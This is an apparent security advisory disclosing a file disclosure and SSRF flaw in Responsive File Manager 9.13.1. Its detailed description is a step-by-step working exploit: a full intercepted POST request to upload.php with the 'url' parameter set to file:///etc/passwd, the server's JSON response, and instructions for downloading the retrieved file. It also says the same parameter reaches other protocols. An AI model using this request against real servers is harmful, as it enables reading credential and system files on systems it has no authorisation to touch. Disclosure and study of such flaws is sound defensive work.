Responsive File Manager 9.13.1 File Disclosure

Credit: Silton Santos
Risk: High
Local: No
Remote: Yes

Responsive Filemanager v 9.13.1 [1] Author: Silton Santos =====[ Table of Contents ]=================================== * Overview * Detailed description * Timeline of disclosure * Thanks & Acknowledgements * References =====[ Overview ]=================================== * System affected : Responsive Filemanager * Software Version : 9.13.1 (other versions may also be affected). * Impact : Get sensitive files from the server. =====[ Detailed description ]=================================== 1. Submit an upload request via the "FROM URL" and intercept with any proxy; 2. Change the parameter "url" to file:///{server_files}, in this example, the parameter "url" was changed to file:///etc/passwd; POST /filemanager/upload.php HTTP/1.1 Host: www.[...] Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 27 Cookie: last_position=testess%2F; PHPSESSID=nl9pl5vthknvec92bji990krj0 Connection: close fldr=testess%2F&url=file:///etc/passwd 3.Wait for the answer, if everything is ok, you'll get a response similar to this: {"files":[{"name":"passwd.txt","size":1612,"type":null,"path":"\/usr\/share\/tinymce\/www\/filemanager\/..\/source\/testess\/passwd.txt","url":"http:\/\/[...]\/source\/testess\/passwd.txt","deleteUrl":"http:\/\/[...]\/filemanager\/upload.php?file=passwd.txt","deleteType":"DELETE"}]} 4. Done, access the folder inserted in the "fldr" parameter and you can be able to download the file from folder. P.S:If the answer is similar to the following, possibly the user of the service web, does not have permission on the file. If the size is equal to 0, the file may not exist. {"files":[{"name":"passwd","size":1573,"type":null,"error":"Filetype not allowed"}]} =====[ Aggravating factors ]=================================== This functionality uses the input of the parameter "url" at the function curl_exec. This function can be used by other protocols, like smb,ftp,scp,telnet and others, impacting on a SSRF. =====[ Timeline of disclosure ]=================================== 07/17/2018 - Vulnerability reported to developer in two emails. (did not answer) =====[ References ]=========================================================== [1]

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018,


Back to Top